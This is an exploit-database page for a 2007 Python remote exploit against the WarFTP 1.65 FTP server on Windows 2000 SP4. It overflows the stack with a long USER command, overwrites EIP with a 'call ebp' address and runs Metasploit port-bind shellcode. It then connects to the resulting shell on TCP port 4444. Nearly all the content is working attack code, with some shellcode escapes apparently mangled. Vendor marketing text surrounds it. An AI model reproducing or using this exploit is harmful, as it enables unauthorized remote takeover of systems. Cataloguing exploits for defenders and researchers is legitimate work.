Lucene search
K

WarFTP 1.65 (USER) Remote Buffer Overflow Exploit (win2k SP4)

🗓️ 15 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Remote exploit for WarFTP 1.65 on Windows 2000 server SP4. Exploitable stack overflow with long username, binds shell on TCP port 4444

Code

                                                #!/usr/bin/python
# Remote exploit for WarFTP 1.65. Tested on Windows 2000 server SP4 inside
# VMware. A trivially exploitable stack overflow is present in WarFTP which
# can be triggered by sending a long username (>480 bytes) along with the USER
# ftp command. Maybe other commands like PASS might also be affected. I did
# not check though. This exploit binds shell on TCP port 4444 and then
# connects to it
#
# Author shall not bear any responsibility for any screw ups
# Winny Thomas :-)

import os
import sys
import time
import socket
import struct

# alphanumeric portbind shellcode from metasploit
shellcode  = \"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49\"
shellcode += \"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36\"
shellcode += \"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34\"
shellcode += \"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41\"
shellcode += \"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e\"
shellcode += \"x4dx34x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx58\"
shellcode += \"x4ex56x46x42x46x42x4bx58x45x54x4ex53x4bx48x4ex57\"
shellcode += \"x45x30x4ax47x41x30x4fx4ex4bx48x4fx44x4ax51x4bx38\"
shellcode += \"x4fx55x42x32x41x50x4bx4ex49x44x4bx58x46x33x4bx58\"
shellcode += \"x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x48x42x4c\"
shellcode += \"x46x37x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e\"
shellcode += \"x46x4fx4bx53x46x35x46x52x4ax42x45x57x45x4ex4bx48\"
shellcode += \"x4fx45x46x52x41x30x4bx4ex48x46x4bx38x4ex50x4bx54\"
shellcode += \"x4bx48x4fx45x4ex41x41x30x4bx4ex43x30x4ex32x4bx58\"
shellcode += \"x49x48x4ex36x46x42x4ex41x41x56x43x4cx41x53x4bx4d\"
shellcode += \"x46x56x4bx38x43x54x42x43x4bx58x42x44x4ex30x4bx38\"
shellcode += \"x42x47x4ex41x4dx4ax4bx58x42x44x4ax30x50x55x4ax56\"
shellcode += \"x50x48x50x34x50x30x4ex4ex42x45x4fx4fx48x4dx48x36\"
shellcode += \"x43x45x48x56x4ax46x43x53x44x33x4ax46x47x37x43x57\"
shellcode += \"x44x33x4fx35x46x35x4fx4fx42x4dx4ax36x4bx4cx4dx4e\"
shellcode += \"x4ex4fx4bx53x42x45x4fx4fx48x4dx4fx35x49x38x45x4e\"
shellcode += \"x48x46x41x58x4dx4ex4ax30x44x30x45x35x4cx36x44x30\"
shellcode += \"x4fx4fx42x4dx4ax46x49x4dx49x50x45x4fx4dx4ax47x35\"
shellcode += \"x4fx4fx48x4dx43x35x43x45x43x55x43x45x43x35x43x34\"
shellcode += \"x43x55x43x34x43x45x4fx4fx42x4dx48x46x4ax36x41x41\"
shellcode += \"x4ex45x48x36x43x45x49x58x41x4ex45x39x4ax56x46x4a\"
shellcode += \"x4cx31x42x37x47x4cx47x45x4fx4fx48x4dx4cx46x42x31\"
shellcode += \"x41x55x45x55x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x42\"
shellcode += \"x49x4ex47x45x4fx4fx48x4dx43x55x45x35x4fx4fx42x4d\"
shellcode += \"x4ax36x45x4ex49x54x48x58x49x44x47x55x4fx4fx48x4d\"
shellcode += \"x42x55x46x35x46x35x45x35x4fx4fx42x4dx43x39x4ax56\"
shellcode += \"x47x4ex49x47x48x4cx49x37x47x45x4fx4fx48x4dx45x45\"
shellcode += \"x4fx4fx42x4dx48x46x4cx36x46x56x48x36x4ax46x43x46\"
shellcode += \"x4dx46x49x58x45x4ex4cx56x42x35x49x55x49x52x4ex4c\"
shellcode += \"x49x38x47x4ex4cx56x46x54x49x58x44x4ex41x53x42x4c\"
shellcode += \"x43x4fx4cx4ax50x4fx44x54x4dx52x50x4fx44x34x4ex32\"
shellcode += \"x43x49x4dx48x4cx47x4ax33x4bx4ax4bx4ax4bx4ax4ax36\"
shellcode += \"x44x47x50x4fx43x4bx48x41x4fx4fx45x57x46x34x4fx4f\"
shellcode += \"x48x4dx4bx45x47x55x44x55x41x45x41x35x41x55x4cx36\"
shellcode += \"x41x30x41x35x41x55x45x45x41x45x4fx4fx42x4dx4ax56\"
shellcode += \"x4dx4ax49x4dx45x30x50x4cx43x35x4fx4fx48x4dx4cx56\"
shellcode += \"x4fx4fx4fx4fx47x33x4fx4fx42x4dx4bx38x47x55x4ex4f\"
shellcode += \"x43x48x46x4cx46x36x4fx4fx48x4dx44x55x4fx4fx42x4d\"
shellcode += \"x4ax46x42x4fx4cx48x46x50x4fx45x43x55x4fx4fx48x4d\"
shellcode += \"x4fx4fx42x4dx5ax90x90x90x90x90x90x90x90x90x90x90\"

def ConnectRemoteShell(target):
       connect = \"/usr/bin/telnet \" + target + \" 4444\"
       os.system(connect)

def ExploitFTP(target):
       sockAddr = (target, 21)
       tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       tsock.connect(sockAddr)
       response = tsock.recv(1024)

       # At the time of overflow EBP points to our shellcode
       payload = \"USER \"
       payload += \"A\" * 485
       # Point of EIP overwrite. Address of \'call ebp\' from user32.dll SP4.
       payload += struct.pack(\"<L\", 0x77E14709)
       payload += \"x90\" * 100
       payload += shellcode
       payload += \"
\"
       tsock.send(payload)

if __name__ == \'__main__\':
       try:
               target = sys.argv[1]
       except IndexError:
               print \'Usage: %s <target>\' % sys.argv[0]
               sys.exit(-1)

       ExploitFTP(target)
       time.sleep(2)
       ConnectRemoteShell(target)

 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1
16